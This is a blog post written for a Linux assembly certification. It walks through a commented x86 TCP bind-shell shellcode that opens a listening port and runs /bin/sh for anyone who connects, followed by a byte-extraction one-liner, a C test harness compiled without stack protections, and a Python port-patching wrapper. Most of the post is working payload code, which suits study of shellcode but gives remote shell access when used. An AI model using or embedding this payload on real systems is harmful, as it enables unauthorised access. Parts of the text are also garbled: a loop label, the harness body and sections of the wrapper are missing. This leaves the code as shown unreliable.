This is the first of a series of seven posts about the SLAE certification. If you are not familiar with it, please visit this page The first assignment asks to develop, comment and optimise a TCP bind shell code Requirements:

  • Binds to a local port
  • Execs shell upon an incoming connection
  • Easily supply port number (via wrapper)

As a starting point I have deliberately took inspiration from C code at RCE Security (I suggest to read the full post, which is extremely detailed and goes through each and every system call/function call conversion.). Also,you can find here a reference of all linux system calls, which comes to aid when converting a C program into IA32.

Let’s start with the full commented shellcode

global _start

section .text

; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
push 0x66
pop eax   ;syscall: sys_socketcall + cleanup eax register
push 0x1 ;function call 0x01 for above syscall
pop ebx ;sys_socket (0x1) + cleanup ebx register
xor esi, esi ;cleanup esi register
push esi ;protocol=IPPROTO_IP (0x0)
push ebx ;socket_type=SOCK_STREAM (0x1) still holgind 0x1
push 0x2 ;socket_family=AF_INET (IPv4 address family)
mov ecx, esp ;save pointer (ESP) to socket() args (ECX)
int 0x80 ;exec SYS_SOCKET

; int socketcall(int call, unsigned long *args);
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
pop edi ; pop 0x2 to edi
xchg edi, eax; save eax result 0x2 (sockfd) for later usage in EDI
xchg ebx, eax ;sys_bind (0x2)
mov al, 0x66 ;syscall: sys_socketcall
push esi         ;sin_addr=0 (INADDR_ANY)
push word 0x3905 ;sin_port=1337 (network byte order)
push word bx     ;sin_family=AF_INET (0x2)
mov ecx, esp     ;save pointer to sockaddr_in struct
push 0x10 ;addrlen=16
push ecx  ;struct sockaddr pointer (from previous ESI)
push edi  ;sockfd 0x02
mov ecx, esp ;save pointer to bind() args
int 0x80 ;exec SYS_BIN

; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);
mov al, 0x66 ;syscall 102 (sys_socketcall)
mov bl, 0x4  ;sys_listen
push esi ;backlog=0
push edi ;sockfd
mov ecx, esp ;save pointer to listen() args
int 0x80 ;exec SYS_LISTEN

; int socketcall(int call, unsigned long *args);
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
mov al, 0x66 ;syscall: sys_socketcall
inc ebx      ;sys_accept (0x5)
push esi ;addrlen=0
push esi ;addr=0
push edi ;sockfd
mov ecx, esp ;save pointer to accept() args
int 0x80 ;exec sys_accept
pop ecx ;dummy-pop to get to the next 0x0
pop ecx ;make sure that ecx contains 0x0 to get the next mov working (sockfd might be greater that 0xFF)
mov cl, 0x2 ;initiate counter
xchg ebx,eax ;save clientfd

; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2)
    mov al, 0x3f ;syscall: sys_dup2
    int 0x80     ;exec sys_dup2
    dec ecx      ;decrement loop-counter
    jns loop     ;as long as SF is not set -> jmp to loop

; int execve(const char *filename, char *const argv[],char *const envp[]);
mov al, 0x0b ;syscall: sys_execve

; terminating NULL is already on the stack
push 0x68732f2f    ;"hs//"
push 0x6e69622f    ;"nib/"
inc ecx      ;argv=0, ecx is 0xffffffff (+SF is set)
mov edx, ecx ;make sure edx contains 0
mov ebx, esp ;save pointer to filename
int 0x80 ; exec sys_execve

Next, it’s time to extract the shellcode using our friend commandlinefu

#objdump -d ./bind_shell_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
We check there is no null-byte presence which can break program execution and, if so, we can happily pasted into the C shellcode generator template:


unsigned char shellcode[] = \

    printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
    int (*ret)() = (int(*)())shellcode;

and compile with:
gcc shellcode.c -o linux_x86_shell_bind_tcp -fno-stack-protector -z execstack -m32

To fulfill the last point of the assignment, I have simplified the python wrapper which is responsible to insert user-supplied port into the shellcode, and added a shellcode length check.

import sys

total = len(sys.argv)
if total != 2:
    print "[+] Usage %s <tcp bind port>" % sys.argv[0]

    	port = int(sys.argv[1])
    	if port > 65535:
    		print "Cannot bind a port greater than 65535!"
    	if port < 1024:
    		print "Port is smaller than 1024! Need to be root for that"
        # convert integer argv port to hex and stuff with leading zeroes if port hex length is < 4
    	hexport = hex(port)[2:].zfill(4)
    	print "\nPort hex value: \t\t" + hexport

        # split hexport in two parts to check for null byte
    	b1 = hexport[0:2]
    	b2 = hexport[2:4]

    	if b1 == "00" or b2 == "00":
    		print "Port contains \\x00!"

        # add leading zero if nibble-only value
    	if len(b1) < 2:
    		b1="\\x0" + b1
    	if len(b1) == 2:
    		b1="\\x" + b1
    	if len(b2) < 2:
    		b2="\\x0" + b2
    	if len(b2) == 2:
    		b2="\\x" + b2


    	print "\nShellcode-ready port:\t\t" + shellport

    	shellcode = bytearray("\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xf6"+

    	print "\nFinal shellcode:\n" + "\"" + shellcode + "\""
        print "\nShellocde length is:\t\t" + str(len(shellcode)/4) + "\n"
        print "Something went wrong - exiting..."

My assignment code can be found here: here

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: Student ID: PA-5837